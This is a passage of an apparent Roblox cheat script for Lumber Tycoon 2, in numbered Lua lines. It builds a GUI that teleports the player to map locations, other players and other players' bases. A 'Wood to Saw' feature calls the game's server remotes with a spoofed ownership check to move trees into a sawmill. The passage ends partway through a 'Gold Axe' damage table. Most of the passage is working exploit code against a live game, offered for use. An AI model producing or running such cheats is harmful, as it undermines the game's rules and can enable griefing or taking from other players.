  772. local BoxedCars = Instance.new("TextButton")
  773. local Cave = Instance.new("TextButton")
  774. local FancyFurnishings = Instance.new("TextButton")
  775. local FineArtsShop = Instance.new("TextButton")
  776. local LandStore = Instance.new("TextButton")
  777. local LinksLogic = Instance.new("TextButton")
  778. local PalmIsland = Instance.new("TextButton")
  779. local SpawnPoint = Instance.new("TextButton")
  780. local Swamp = Instance.new("TextButton")
  781. local Volcano = Instance.new("TextButton")
  782. local WoodRUs = Instance.new("TextButton")
  783. local Dock = Instance.new("TextButton")
  784. local Bridge = Instance.new("TextButton")
  785. local EndTimes = Instance.new("TextButton")
  786. local ShrineOfSight = Instance.new("TextButton")
  787. local TheDen = Instance.new("TextButton")
  788. local VolcanoWin = Instance.new("TextButton")
  789. local SkiLodge = Instance.new("TextButton")
  790. local FrostTreeArea = Instance.new("TextButton")
  791. local SnowGlowTreeArea = Instance.new("TextButton")
  792. local ShowLocation = Instance.new("TextButton")
  793. local CustomTPPoint = Instance.new("TextButton")
  794. local Teleport = Instance.new("ImageButton")
  795.  
  796. local WayPoints = {
  797. ["Wood R Us"] = Vector3.new(265, 3, 57),
  798. ["SpawnPoint"] = Vector3.new(155, 3, 74),
  799. ["Land Store"] = Vector3.new(258, 3, -99),
  800. ["Link's Logic"] = Vector3.new(4607, 7.5, -798),
  801. ["Cave"] = Vector3.new(3581, -179, 430),
  802. ["Volcano"] = Vector3.new(-1585, 622, 1140),
  803. ["Swamp"] = Vector3.new(-1209, 132, -801),
  804. ["Palm Island"] = Vector3.new(2549, -5, -42),
  805. ["Fancy Furnishings"] = Vector3.new(491, 3, -1720),
  806. ["Boxed Cars"] = Vector3.new(509, 5.2, -1463),
  807. ["Fine Arts Shop"] = Vector3.new(5207, -166, 719),
  808. ["Bob's Shack"] = Vector3.new(260, 8, -2542),
  809. ["Strange Man"] = Vector3.new(1061, 16, 1131),
  810. ["Dock"] = CFrame.new(1114, 3.2, -197),
  811. ["Bridge"] = CFrame.new(113, 15, -977),
  812. ["End Times"] = CFrame.new(113, -204, -951),
  813. ["Shrine Of Sight"] = CFrame.new(-1600, 205, 919),
  814. ["The Den"] = CFrame.new(323, 49, 1930),
  815. ["Volcano Win"] = CFrame.new(-1675, 358, 1476),
  816. ["Ski Lodge"] = CFrame.new(1244, 66, 2306),
  817. ["Frost Tree"] = CFrame.new(1448.3, 413, 3185.2),
  818. ["SnowGlow Tree"] = CFrame.new(-1105.9, -6, -894)
  819. }
  820.  
  821. Teleport.Name = "Teleport"
  822. Teleport.Parent = Picker
  823. Teleport.BackgroundColor3 = Color3.new(1, 1, 1)
  824. Teleport.BorderColor3 = Color3.new(0, 0, 0)
  825. Teleport.Position = UDim2.new(0, 15, 0,90)
  826. Teleport.Size = UDim2.new(0, 80, 0, 80)
  827. Teleport.ZIndex = 3
  828. Teleport.Image = "rbxassetid://3891269399"
  829. Teleport.ScaleType = Enum.ScaleType.Crop
  830. Teleport.MouseButton1Click:Connect(function()
  831. CurrentItem.Image = "rbxassetid://3886256996"
  832. AIntroImage.Visible = true
  833. AIntroImage1.Visible = true
  834. end)
  835.  
  836. Waypoints.Name = "Waypoints"
  837. Waypoints.Parent = MenuFrame
  838. Waypoints.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
  839. Waypoints.BorderColor3 = Color3.new(0, 0, 0)
  840. Waypoints.Size = UDim2.new(0, 170, 0, 290)
  841. Waypoints.CanvasPosition = Vector2.new(0,0)
  842. Waypoints.CanvasSize = UDim2.new(0, 0, 0, 640)
  843. Waypoints.Visible = false
  844.  
  845. Stranger.Name = "Stranger"
  846. Stranger.Parent = Waypoints
  847. Stranger.BackgroundColor3 = Color3.new(0, 0, 0)
  848. Stranger.Position = UDim2.new(0, 5, 0, 330)
  849. Stranger.Size = UDim2.new(0, 148, 0, 20)
  850. Stranger.Font = Enum.Font.Fantasy
  851. Stranger.FontSize = Enum.FontSize.Size18
  852. Stranger.Text = "Stranger"
  853. Stranger.TextColor3 = Color3.fromRGB(255, 0, 0)
  854. Stranger.TextSize = 16
  855. Stranger.MouseButton1Down:connect(function()
  856. game.Players.LocalPlayer.Character:MoveTo(WayPoints["Strange Man"])
  857. end)
  858.  
  859. BobsShack.Name = "BobsShack"
  860. BobsShack.Parent = Waypoints
  861. BobsShack.BackgroundColor3 = Color3.new(0, 0, 0)
  862. BobsShack.Position = UDim2.new(0, 5, 0, 155)
  863. BobsShack.Size = UDim2.new(0, 148, 0, 20)
  864. BobsShack.Font = Enum.Font.Fantasy
  865. BobsShack.FontSize = Enum.FontSize.Size18
  866. BobsShack.Text = "Bob's Shack"
  867. BobsShack.TextColor3 = Color3.fromRGB(255, 0, 0)
  868. BobsShack.TextSize = 16
  869. BobsShack.MouseButton1Down:connect(function()
  870. game.Players.LocalPlayer.Character:MoveTo(WayPoints["Bob's Shack"])
  871. end)
  872.  
  873. PlotTp.Name = "PlotTp"
  874. PlotTp.Parent = Waypoints
  875. PlotTp.BackgroundColor3 = Color3.new(0, 0, 0)
  876. PlotTp.Position = UDim2.new(0, 5, 0, 30)
  877. PlotTp.Size = UDim2.new(0, 148, 0, 20)
  878. PlotTp.Font = Enum.Font.Fantasy
  879. PlotTp.FontSize = Enum.FontSize.Size18
  880. PlotTp.Text = "Tp to Plot"
  881. PlotTp.TextColor3 = Color3.fromRGB(255, 0, 0)
  882. PlotTp.TextSize = 16
  883. PlotTp.MouseButton1Down:connect(function()
  884. for i,v in pairs(game.Workspace.Properties:GetChildren()) do
  885. if v.Owner.Value == game.Players.LocalPlayer then
  886. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = v.OriginSquare.CFrame + Vector3.new(0,10,0)
  887. end
  888. end
  889. end)
  890.  
  891. BoxedCars.Name = "BoxedCars"
  892. BoxedCars.Parent = Waypoints
  893. BoxedCars.BackgroundColor3 = Color3.new(0, 0, 0)
  894. BoxedCars.Position = UDim2.new(0, 5, 0, 130)
  895. BoxedCars.Size = UDim2.new(0, 148, 0, 20)
  896. BoxedCars.Font = Enum.Font.Fantasy
  897. BoxedCars.FontSize = Enum.FontSize.Size18
  898. BoxedCars.Text = "Boxed Cars"
  899. BoxedCars.TextColor3 = Color3.fromRGB(255, 0, 0)
  900. BoxedCars.TextSize = 16
  901. BoxedCars.MouseButton1Down:connect(function()
  902. game.Players.LocalPlayer.Character:MoveTo(WayPoints["Boxed Cars"])
  903. end)
  904.  
  905. Cave.Name = "Cave"
  906. Cave.Parent = Waypoints
  907. Cave.BackgroundColor3 = Color3.new(0, 0, 0)
  908. Cave.Position = UDim2.new(0, 5, 0, 230)
  909. Cave.Size = UDim2.new(0, 148, 0, 20)
  910. Cave.Font = Enum.Font.Fantasy
  911. Cave.FontSize = Enum.FontSize.Size18
  912. Cave.Text = "Cave"
  913. Cave.TextColor3 = Color3.new(255, 0, 0)
  914. Cave.TextSize = 16
  915. Cave.MouseButton1Down:connect(function()
  916. game.Players.LocalPlayer.Character:MoveTo(WayPoints["Cave"])
  917. end)
  918.  
  919. FancyFurnishings.Name = "FancyFurnishings"
  920. FancyFurnishings.Parent = Waypoints
  921. FancyFurnishings.BackgroundColor3 = Color3.new(0, 0, 0)
  922. FancyFurnishings.Position = UDim2.new(0, 5, 0, 80)
  923. FancyFurnishings.Size = UDim2.new(0, 148, 0, 20)
  924. FancyFurnishings.Font = Enum.Font.Fantasy
  925. FancyFurnishings.FontSize = Enum.FontSize.Size18
  926. FancyFurnishings.Text = "Fancy Furnishings"
  927. FancyFurnishings.TextColor3 = Color3.new(255, 0, 0)
  928. FancyFurnishings.TextSize = 16
  929. FancyFurnishings.MouseButton1Down:connect(function()
  930. game.Players.LocalPlayer.Character:MoveTo(WayPoints["Fancy Furnishings"])
  931. end)
  932.  
  933. FineArtsShop.Name = "FineArtsShop"
  934. FineArtsShop.Parent = Waypoints
  935. FineArtsShop.BackgroundColor3 = Color3.new(0, 0, 0)
  936. FineArtsShop.Position = UDim2.new(0, 5, 0, 180)
  937. FineArtsShop.Size = UDim2.new(0, 148, 0, 20)
  938. FineArtsShop.Font = Enum.Font.Fantasy
  939. FineArtsShop.FontSize = Enum.FontSize.Size18
  940. FineArtsShop.Text = "Fine Arts Shop"
  941. FineArtsShop.TextColor3 = Color3.new(255, 0, 0)
  942. FineArtsShop.TextSize = 16
  943. FineArtsShop.MouseButton1Down:connect(function()
  944. game.Players.LocalPlayer.Character:MoveTo(WayPoints["Fine Arts Shop"])
  945. end)
  946.  
  947. LandStore.Name = "LandStore"
  948. LandStore.Parent = Waypoints
  949. LandStore.BackgroundColor3 = Color3.new(0, 0, 0)
  950. LandStore.Position = UDim2.new(0, 5, 0, 205)
  951. LandStore.Size = UDim2.new(0, 148, 0, 20)
  952. LandStore.Font = Enum.Font.Fantasy
  953. LandStore.FontSize = Enum.FontSize.Size18
  954. LandStore.Text = "Land Store"
  955. LandStore.TextColor3 = Color3.new(255, 0, 0)
  956. LandStore.TextSize = 16
  957. LandStore.MouseButton1Down:connect(function()
  958. game.Players.LocalPlayer.Character:MoveTo(WayPoints["Land Store"])
  959. end)
  960.  
  961. LinksLogic.Name = "LinksLogic"
  962. LinksLogic.Parent = Waypoints
  963. LinksLogic.BackgroundColor3 = Color3.new(0, 0, 0)
  964. LinksLogic.Position = UDim2.new(0, 5, 0, 105)
  965. LinksLogic.Size = UDim2.new(0, 148, 0, 20)
  966. LinksLogic.Font = Enum.Font.Fantasy
  967. LinksLogic.FontSize = Enum.FontSize.Size18
  968. LinksLogic.Text = "Link's Logic"
  969. LinksLogic.TextColor3 = Color3.new(255, 0, 0)
  970. LinksLogic.TextSize = 16
  971. LinksLogic.MouseButton1Down:connect(function()
  972. game.Players.LocalPlayer.Character:MoveTo(WayPoints["Link's Logic"])
  973. end)
  974.  
  975. PalmIsland.Name = "PalmIsland"
  976. PalmIsland.Parent = Waypoints
  977. PalmIsland.BackgroundColor3 = Color3.new(0, 0, 0)
  978. PalmIsland.Position = UDim2.new(0, 5, 0, 305)
  979. PalmIsland.Size = UDim2.new(0, 148, 0, 20)
  980. PalmIsland.Font = Enum.Font.Fantasy
  981. PalmIsland.FontSize = Enum.FontSize.Size18
  982. PalmIsland.Text = "Palm Island"
  983. PalmIsland.TextColor3 = Color3.new(255, 0, 0)
  984. PalmIsland.TextSize = 16
  985. PalmIsland.MouseButton1Down:connect(function()
  986. game.Players.LocalPlayer.Character:MoveTo(WayPoints["Palm Island"])
  987. end)
  988.  
  989. SpawnPoint.Name = "SpawnPoint"
  990. SpawnPoint.Parent = Waypoints
  991. SpawnPoint.BackgroundColor3 = Color3.new(0, 0, 0)
  992. SpawnPoint.Position = UDim2.new(0, 5, 0, 5)
  993. SpawnPoint.Size = UDim2.new(0, 148, 0, 20)
  994. SpawnPoint.Font = Enum.Font.Fantasy
  995. SpawnPoint.FontSize = Enum.FontSize.Size18
  996. SpawnPoint.Text = "Spawn"
  997. SpawnPoint.TextColor3 = Color3.new(255, 0, 0)
  998. SpawnPoint.TextSize = 16
  999. SpawnPoint.MouseButton1Down:connect(function()
  1000. game.Players.LocalPlayer.Character:MoveTo(WayPoints["SpawnPoint"])
  1001. end)
  1002.  
  1003. Swamp.Name = "Swamp"
  1004. Swamp.Parent = Waypoints
  1005. Swamp.BackgroundColor3 = Color3.new(0, 0, 0)
  1006. Swamp.Position = UDim2.new(0, 5, 0, 280)
  1007. Swamp.Size = UDim2.new(0, 148, 0, 20)
  1008. Swamp.Font = Enum.Font.Fantasy
  1009. Swamp.FontSize = Enum.FontSize.Size18
  1010. Swamp.Text = "Swamp"
  1011. Swamp.TextColor3 = Color3.new(255, 0, 0)
  1012. Swamp.TextSize = 16
  1013. Swamp.MouseButton1Down:connect(function()
  1014. game.Players.LocalPlayer.Character:MoveTo(WayPoints["Swamp"])
  1015. end)
  1016.  
  1017. Volcano.Name = "Volcano"
  1018. Volcano.Parent = Waypoints
  1019. Volcano.BackgroundColor3 = Color3.new(0, 0, 0)
  1020. Volcano.Position = UDim2.new(0, 5, 0, 255)
  1021. Volcano.Size = UDim2.new(0, 148, 0, 20)
  1022. Volcano.Font = Enum.Font.Fantasy
  1023. Volcano.FontSize = Enum.FontSize.Size18
  1024. Volcano.Text = "Volcano"
  1025. Volcano.TextColor3 = Color3.new(255, 0, 0)
  1026. Volcano.TextSize = 16
  1027. Volcano.MouseButton1Down:connect(function()
  1028. game.Players.LocalPlayer.Character:MoveTo(WayPoints["Volcano"])
  1029. end)
  1030.  
  1031. WoodRUs.Name = "blueprints"
  1032. WoodRUs.Parent = Waypoints
  1033. WoodRUs.BackgroundColor3 = Color3.new(0, 0, 0)
  1034. WoodRUs.Position = UDim2.new(0, 5, 0, 55)
  1035. WoodRUs.Size = UDim2.new(0, 148, 0, 20)
  1036. WoodRUs.Font = Enum.Font.Fantasy
  1037. WoodRUs.FontSize = Enum.FontSize.Size18
  1038. WoodRUs.Text = "Wood R Us"
  1039. WoodRUs.TextColor3 = Color3.new(255, 0, 0)
  1040. WoodRUs.TextSize = 16
  1041. WoodRUs.MouseButton1Down:connect(function()
  1042. game.Players.LocalPlayer.Character:MoveTo(WayPoints["Wood R Us"])
  1043. end)
  1044.  
  1045. Dock.Name = "Dock"
  1046. Dock.Parent = Waypoints
  1047. Dock.BackgroundColor3 = Color3.new(0, 0, 0)
  1048. Dock.Position = UDim2.new(0, 5, 0, 355)
  1049. Dock.Size = UDim2.new(0, 148, 0, 20)
  1050. Dock.Font = Enum.Font.Fantasy
  1051. Dock.FontSize = Enum.FontSize.Size18
  1052. Dock.Text = "Dock"
  1053. Dock.TextColor3 = Color3.new(255, 0, 0)
  1054. Dock.TextSize = 16
  1055. Dock.MouseButton1Down:connect(function()
  1056. local uTorso = workspace:WaitForChild(game.Players.LocalPlayer.Name).HumanoidRootPart
  1057. uTorso.CFrame = WayPoints["Dock"]
  1058. end)
  1059.  
  1060. Bridge.Name = "Bridge"
  1061. Bridge.Parent = Waypoints
  1062. Bridge.BackgroundColor3 = Color3.new(0, 0, 0)
  1063. Bridge.Position = UDim2.new(0, 5, 0, 380)
  1064. Bridge.Size = UDim2.new(0, 148, 0, 20)
  1065. Bridge.Font = Enum.Font.Fantasy
  1066. Bridge.FontSize = Enum.FontSize.Size18
  1067. Bridge.Text = "Bridge"
  1068. Bridge.TextColor3 = Color3.new(255, 0, 0)
  1069. Bridge.TextSize = 16
  1070. Bridge.MouseButton1Down:connect(function()
  1071. local uTorso = workspace:WaitForChild(game.Players.LocalPlayer.Name).HumanoidRootPart
  1072. uTorso.CFrame = WayPoints["Bridge"]
  1073. end)
  1074.  
  1075. EndTimes.Name = "EndTimes"
  1076. EndTimes.Parent = Waypoints
  1077. EndTimes.BackgroundColor3 = Color3.new(0, 0, 0)
  1078. EndTimes.Position = UDim2.new(0, 5, 0, 405)
  1079. EndTimes.Size = UDim2.new(0, 148, 0, 20)
  1080. EndTimes.Font = Enum.Font.Fantasy
  1081. EndTimes.FontSize = Enum.FontSize.Size18
  1082. EndTimes.Text = "End Times"
  1083. EndTimes.TextColor3 = Color3.new(255, 0, 0)
  1084. EndTimes.TextSize = 16
  1085. EndTimes.MouseButton1Down:connect(function()
  1086. local uTorso = workspace:WaitForChild(game.Players.LocalPlayer.Name).HumanoidRootPart
  1087. uTorso.CFrame = WayPoints["End Times"]
  1088. end)
  1089.  
  1090. ShrineOfSight.Name = "ShrineOfSight"
  1091. ShrineOfSight.Parent = Waypoints
  1092. ShrineOfSight.BackgroundColor3 = Color3.new(0, 0, 0)
  1093. ShrineOfSight.Position = UDim2.new(0, 5, 0, 430)
  1094. ShrineOfSight.Size = UDim2.new(0, 148, 0, 20)
  1095. ShrineOfSight.Font = Enum.Font.Fantasy
  1096. ShrineOfSight.FontSize = Enum.FontSize.Size18
  1097. ShrineOfSight.Text = "Shrine Of Sight"
  1098. ShrineOfSight.TextColor3 = Color3.new(255, 0, 0)
  1099. ShrineOfSight.TextSize = 16
  1100. ShrineOfSight.MouseButton1Down:connect(function()
  1101. local uTorso = workspace:WaitForChild(game.Players.LocalPlayer.Name).HumanoidRootPart
  1102. uTorso.CFrame = WayPoints["Shrine Of Sight"]
  1103. end)
  1104.  
  1105. TheDen.Name = "TheDen"
  1106. TheDen.Parent = Waypoints
  1107. TheDen.BackgroundColor3 = Color3.new(0, 0, 0)
  1108. TheDen.Position = UDim2.new(0, 5, 0, 455)
  1109. TheDen.Size = UDim2.new(0, 148, 0, 20)
  1110. TheDen.Font = Enum.Font.Fantasy
  1111. TheDen.FontSize = Enum.FontSize.Size18
  1112. TheDen.Text = "The Den"
  1113. TheDen.TextColor3 = Color3.new(255, 0, 0)
  1114. TheDen.TextSize = 16
  1115. TheDen.MouseButton1Down:connect(function()
  1116. local uTorso = workspace:WaitForChild(game.Players.LocalPlayer.Name).HumanoidRootPart
  1117. uTorso.CFrame = WayPoints["The Den"]
  1118. end)
  1119.  
  1120. VolcanoWin.Name = "VolcanoWin"
  1121. VolcanoWin.Parent = Waypoints
  1122. VolcanoWin.BackgroundColor3 = Color3.new(0, 0, 0)
  1123. VolcanoWin.Position = UDim2.new(0, 5, 0, 480)
  1124. VolcanoWin.Size = UDim2.new(0, 148, 0, 20)
  1125. VolcanoWin.Font = Enum.Font.Fantasy
  1126. VolcanoWin.FontSize = Enum.FontSize.Size18
  1127. VolcanoWin.Text = "Volcano Win"
  1128. VolcanoWin.TextColor3 = Color3.new(255, 0, 0)
  1129. VolcanoWin.TextSize = 16
  1130. VolcanoWin.MouseButton1Down:connect(function()
  1131. local uTorso = workspace:WaitForChild(game.Players.LocalPlayer.Name).HumanoidRootPart
  1132. uTorso.CFrame = WayPoints["Volcano Win"]
  1133. end)
  1134.  
  1135. SkiLodge.Name = "Ski Lodge"
  1136. SkiLodge.Parent = Waypoints
  1137. SkiLodge.BackgroundColor3 = Color3.new(0, 0, 0)
  1138. SkiLodge.Position = UDim2.new(0, 5, 0, 505)
  1139. SkiLodge.Size = UDim2.new(0, 148, 0, 20)
  1140. SkiLodge.Font = Enum.Font.Fantasy
  1141. SkiLodge.FontSize = Enum.FontSize.Size18
  1142. SkiLodge.Text = "Ski Lodge"
  1143. SkiLodge.TextColor3 = Color3.new(255, 0, 0)
  1144. SkiLodge.TextSize = 16
  1145. SkiLodge.MouseButton1Down:connect(function()
  1146. local uTorso = workspace:WaitForChild(game.Players.LocalPlayer.Name).HumanoidRootPart
  1147. uTorso.CFrame = WayPoints["Ski Lodge"]
  1148. end)
  1149.  
  1150. FrostTreeArea.Name = "FrostTreeArea"
  1151. FrostTreeArea.Parent = Waypoints
  1152. FrostTreeArea.BackgroundColor3 = Color3.new(0, 0, 0)
  1153. FrostTreeArea.Position = UDim2.new(0, 5, 0, 530)
  1154. FrostTreeArea.Size = UDim2.new(0, 148, 0, 20)
  1155. FrostTreeArea.Font = Enum.Font.Fantasy
  1156. FrostTreeArea.FontSize = Enum.FontSize.Size18
  1157. FrostTreeArea.Text = "Frost Tree Area"
  1158. FrostTreeArea.TextColor3 = Color3.new(255, 0, 0)
  1159. FrostTreeArea.TextSize = 16
  1160. FrostTreeArea.MouseButton1Down:connect(function()
  1161. local uTorso = workspace:WaitForChild(game.Players.LocalPlayer.Name).HumanoidRootPart
  1162. uTorso.CFrame = WayPoints["Frost Tree"]
  1163. end)
  1164.  
  1165. SnowGlowTreeArea.Name = "SnowGlowTreeArea"
  1166. SnowGlowTreeArea.Parent = Waypoints
  1167. SnowGlowTreeArea.BackgroundColor3 = Color3.new(0, 0, 0)
  1168. SnowGlowTreeArea.Position = UDim2.new(0, 5, 0, 555)
  1169. SnowGlowTreeArea.Size = UDim2.new(0, 148, 0, 20)
  1170. SnowGlowTreeArea.Font = Enum.Font.Fantasy
  1171. SnowGlowTreeArea.FontSize = Enum.FontSize.Size18
  1172. SnowGlowTreeArea.Text = "SnowGlow Area"
  1173. SnowGlowTreeArea.TextColor3 = Color3.new(255, 0, 0)
  1174. SnowGlowTreeArea.TextSize = 16
  1175. SnowGlowTreeArea.MouseButton1Down:connect(function()
  1176. local uTorso = workspace:WaitForChild(game.Players.LocalPlayer.Name).HumanoidRootPart
  1177. uTorso.CFrame = WayPoints["SnowGlow Tree"]
  1178. end)
  1179.  
  1180. ShowLocation.Name = "ShowLocation"
  1181. ShowLocation.Parent = Waypoints
  1182. ShowLocation.BackgroundColor3 = Color3.new(0, 0, 0)
  1183. ShowLocation.Position = UDim2.new(0, 5, 0, 580)
  1184. ShowLocation.Size = UDim2.new(0, 148, 0, 30)
  1185. ShowLocation.Font = Enum.Font.Fantasy
  1186. ShowLocation.FontSize = Enum.FontSize.Size14
  1187. ShowLocation.Text = "Show Current Coords\nSet Custom Location"
  1188. ShowLocation.TextColor3 = Color3.new(255, 0, 0)
  1189. ShowLocation.TextSize = 13
  1190.  
  1191. CustomTPPoint.Name = "CustomTPPoint"
  1192. CustomTPPoint.Parent = Waypoints
  1193. CustomTPPoint.BackgroundColor3 = Color3.new(0, 0, 0)
  1194. CustomTPPoint.Position = UDim2.new(0, 5, 0, 615)
  1195. CustomTPPoint.Size = UDim2.new(0, 148, 0, 20)
  1196. CustomTPPoint.Font = Enum.Font.Fantasy
  1197. CustomTPPoint.FontSize = Enum.FontSize.Size14
  1198. CustomTPPoint.Text = "TP to Custom Location"
  1199. CustomTPPoint.TextColor3 = Color3.new(255, 0, 0)
  1200. CustomTPPoint.TextSize = 13
  1201.  
  1202. -- Scripts:
  1203.  
  1204. --- Show Current Location
  1205.  
  1206. ShowLocation.MouseButton1Down:connect(function()
  1207.  
  1208. function round(num, numDecimalPlaces)
  1209. local mult = 10^(numDecimalPlaces or 0)
  1210. return math.floor(num * mult + 0.5) / mult
  1211. end
  1212.  
  1213. LocationX = round(game.Players.LocalPlayer.Character.HumanoidRootPart.Position.x, 1)
  1214. LocationY = round(game.Players.LocalPlayer.Character.HumanoidRootPart.Position.y, 1)
  1215. LocationZ = round(game.Players.LocalPlayer.Character.HumanoidRootPart.Position.z, 1)
  1216. ShowLocation.Text = "Current/Set Location\n"..LocationX..", "..LocationY..", "..LocationZ
  1217. CustomTPPoint.Text = "TP to "..LocationX..", "..LocationY..", "..LocationZ
  1218. CustomLocationSet = true
  1219. end)
  1220.  
  1221. --- TP to custom location ---
  1222.  
  1223. CustomTPPoint.MouseButton1Down:connect(function()
  1224. if CustomLocationSet == true then
  1225. local uTorso = workspace:WaitForChild(game.Players.LocalPlayer.Name).HumanoidRootPart
  1226. uTorso.CFrame = CFrame.new(LocationX, LocationY, LocationZ)
  1227. end
  1228. end)
  1229.  
  1230.  
  1231. --- Player Tp ---
  1232.  
  1233. local buttons = {
  1234. Player1,
  1235. Player2,
  1236. Player3,
  1237. Player4,
  1238. Player5,
  1239. Player6
  1240. }
  1241. spawn(function()
  1242. while true do
  1243. Player1.Text = ""
  1244. Player2.Text = ""
  1245. Player3.Text = ""
  1246. Player4.Text = ""
  1247. Player5.Text = ""
  1248. Player6.Text = ""
  1249. for i, v in pairs(game.Players:GetChildren()) do
  1250. buttons[i].Text = v.Name
  1251. buttons[i].Visible = true
  1252. end
  1253. wait(0.5)
  1254. end
  1255. end)
  1256.  
  1257. Player1.MouseButton1Down:connect(function()
  1258. PlyrSel.Text = Player1.Text
  1259. end)
  1260. Player2.MouseButton1Down:connect(function()
  1261. PlyrSel.Text = Player2.Text
  1262. end)
  1263. Player3.MouseButton1Down:connect(function()
  1264. PlyrSel.Text = Player3.Text
  1265. end)
  1266. Player4.MouseButton1Down:connect(function()
  1267. PlyrSel.Text = Player4.Text
  1268. end)
  1269. Player5.MouseButton1Down:connect(function()
  1270. PlyrSel.Text = Player5.Text
  1271. end)
  1272. Player6.MouseButton1Down:connect(function()
  1273. PlyrSel.Text = Player6.Text
  1274. end)
  1275.  
  1276. TpPlayer.MouseButton1Down:connect(function()
  1277. if PlyrSel.Text == "SELECT A PLAYER" then
  1278. warn("No Player Selected")
  1279. else
  1280. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = workspace[PlyrSel.Text].HumanoidRootPart.CFrame
  1281. end
  1282. end)
  1283. TpBase.MouseButton1Down:connect(function()
  1284. for i, v in pairs(game.Workspace.Properties:GetChildren()) do
  1285. if v.Owner.Value == game.Players[PlyrSel.Text] then
  1286. local p= CFrame.new(v.OriginSquare.CFrame.x, v.OriginSquare.CFrame.y +3.5, v.OriginSquare.CFrame.z)
  1287. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = p
  1288. end
  1289. end
  1290. end)
  1291.  
  1292.  
  1293. local WoodFrame = Instance.new("Frame")
  1294. local Woodmenu = Instance.new("ImageButton")
  1295. local SawmillTp = Instance.new("TextButton")
  1296.  
  1297. Woodmenu.Name = "Woodmenu"
  1298. Woodmenu.Parent = Picker
  1299. Woodmenu.BackgroundColor3 = Color3.new(1, 1, 1)
  1300. Woodmenu.BorderColor3 = Color3.new(0, 0, 0)
  1301. Woodmenu.Position = UDim2.new(0, 15, 0,175)
  1302. Woodmenu.Size = UDim2.new(0, 80, 0, 80)
  1303. Woodmenu.ZIndex = 3
  1304. Woodmenu.Image = "rbxassetid://3894370075"
  1305. Woodmenu.ScaleType = Enum.ScaleType.Crop
  1306. Woodmenu.MouseButton1Click:Connect(function()
  1307. CurrentItem.Image = "rbxassetid://3886256996"
  1308. AIntroImage.Visible = true
  1309. AIntroImage1.Visible = true
  1310. end)
  1311.  
  1312. WoodFrame.Name = "WoodFrame"
  1313. WoodFrame.Parent = MenuFrame
  1314. WoodFrame.BorderSizePixel = 1
  1315. WoodFrame.BackgroundTransparency = 0
  1316. WoodFrame.BorderColor3 = Color3.new(0, 0, 0)
  1317. WoodFrame.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
  1318. WoodFrame.Size = UDim2.new(0, 170, 0, 190)
  1319. WoodFrame.Visible = false
  1320.  
  1321. SawmillTp.Name = "SawmillTp"
  1322. SawmillTp.Parent = WoodFrame
  1323. SawmillTp.BackgroundColor3 = Color3.new(0, 0, 0)
  1324. SawmillTp.BorderColor3 = Color3.new(0, 0, 0)
  1325. SawmillTp.Position = UDim2.new(0, 3, 0, 3)
  1326. SawmillTp.Size = UDim2.new(0, 165, 0, 20)
  1327. SawmillTp.Font = Enum.Font.Fantasy
  1328. SawmillTp.FontSize = Enum.FontSize.Size18
  1329. SawmillTp.Text = "Wood to Saw"
  1330. SawmillTp.TextColor3 = Color3.new(255, 0, 0)
  1331. SawmillTp.TextSize = 15
  1332. SawmillTp.MouseButton1Down:connect(function()
  1333.  
  1334. SawmillTp.Text = "WOOD TO SAW ON"
  1335. SawmillTp.TextColor3 = Color3.new(1, 1, 1)
  1336. SawmillC = false
  1337. Mouse = game.Players.LocalPlayer:GetMouse()
  1338.  
  1339. Mouse.KeyDown:connect(function(key)
  1340. if key:lower() == "q" then
  1341. Treee = Mouse.Target
  1342. end
  1343. end)
  1344. Mouse.KeyDown:connect(function(key)
  1345. if key:lower() == "p" then
  1346. if Mouse.Target.Parent:FindFirstChild("BlockageAlert") then
  1347. Sawmill = Mouse.Target.Parent
  1348. else
  1349. Sawmill=Mouse.Target.Parent.Parent
  1350. end
  1351. if Sawmill:FindFirstChild("BlockageAlert") and Sawmill:FindFirstChild("Owner") then
  1352. SawmillC = true
  1353. else
  1354. SawmillC = false
  1355. print"Something went wrong while setting the sawmill!"
  1356. end
  1357. if Treee ~= nil then
  1358. Mod(Treee)
  1359. else
  1360. print("Select tree with 'Q'!")
  1361. end
  1362. end
  1363. end)
  1364.  
  1365. function Mod(SelectedPart)
  1366. if SawmillC ~= true then
  1367. print'Set the sawmill with "P"!'
  1368. return
  1369. end
  1370. if SelectedPart.Parent:FindFirstChild("TreeClass") and SelectedPart.Parent:FindFirstChild("Owner") then
  1371. print("Tree: "..SelectedPart.Parent.TreeClass.Value)
  1372. Tree = SelectedPart.Parent
  1373. Tree.PrimaryPart = SelectedPart
  1374. game.ReplicatedStorage.Interaction.Verify:FireServer('Item owned by player',Tree)
  1375. Tree:SetPrimaryPartCFrame(Sawmill.Particles.CFrame)
  1376. game.ReplicatedStorage.Interaction.ClientIsDragging:FireServer(Tree)
  1377. end
  1378. end
  1379. end)
  1380.  
  1381. local Goldaxe = Instance.new("TextButton")
  1382.  
  1383. Goldaxe.Name = "SawmillTp"
  1384. Goldaxe.Parent = WoodFrame
  1385. Goldaxe.BackgroundColor3 = Color3.new(0, 0, 0)
  1386. Goldaxe.BorderColor3 = Color3.new(0, 0, 0)
  1387. Goldaxe.Position = UDim2.new(0, 3, 0, 26)
  1388. Goldaxe.Size = UDim2.new(0, 165, 0, 20)
  1389. Goldaxe.Font = Enum.Font.Fantasy
  1390. Goldaxe.FontSize = Enum.FontSize.Size18
  1391. Goldaxe.Text = "Gold Axe"
  1392. Goldaxe.TextColor3 = Color3.new(255, 0, 0)
  1393. Goldaxe.TextSize = 15
  1394. Goldaxe.MouseButton1Down:connect(function()
  1395.  
  1396. Goldaxe.Text = "GOLDAXE ACTIVE"
  1397. Goldaxe.TextColor3 = Color3.new(1, 1, 1)
  1398. function GetAxe()
  1399. if game.Players.LocalPlayer.Character:FindFirstChild("Tool") then
  1400. return game.Players.LocalPlayer.Character:FindFirstChild("Tool")
  1401. end
  1402. end
  1403.  
  1404. local HitPoints={
  1405. ['GoldAxe']= 50;
  1406. ['BasicHatchet']= 0.2;
  1407. ['Axe1']= 0.55;
  1408. ['Axe2']= 0.93;
  1409. ['AxeAlphaTesters']= 1.5;
  1410. ['Rukiryaxe']= 1.68;
  1411. ['Axe3']= 1.45;
  1412. ['AxeBetaTesters']= 1.45;
  1413. ['FireAxe']= 0.6;
  1414. ['SilverAxe']= 1.6;
  1415. ['EndTimesAxe']= 10000000;
  1416. ['AxeChicken']= 0.1;
  1417. ['CandyCaneAxe']= 0;
  1418. }
